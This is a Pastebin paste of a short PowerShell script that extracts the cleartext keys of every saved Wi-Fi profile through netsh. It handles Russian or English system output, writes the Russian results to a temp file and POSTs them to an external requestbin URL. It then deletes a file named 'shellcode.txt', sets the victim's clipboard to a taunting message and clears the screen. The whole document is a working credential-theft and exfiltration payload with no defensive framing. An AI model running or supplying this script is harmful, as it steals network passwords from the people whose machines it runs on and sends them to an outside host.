Advertisement
_BASTION_

ABC0

May 25th, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. $wifi_ru=(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
  2.  
  3. $wifi_en=(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "key\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
  4. $url="http://requestbin.fullcontact.com/1iz97ys1"
  5. $wifi_ru
  6. $wifi_ru | Out-File tmp.txt
  7. $data=Get-Content .\tmp.txt
  8. $data
  9. Invoke-RestMethod -Method Post -Uri $url -Body $data
  10. Remove-Item -Path shellcode.txt
  11. Set-Clipboard -Value "Your computer was fucked up!"
  12. clear
  13. exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement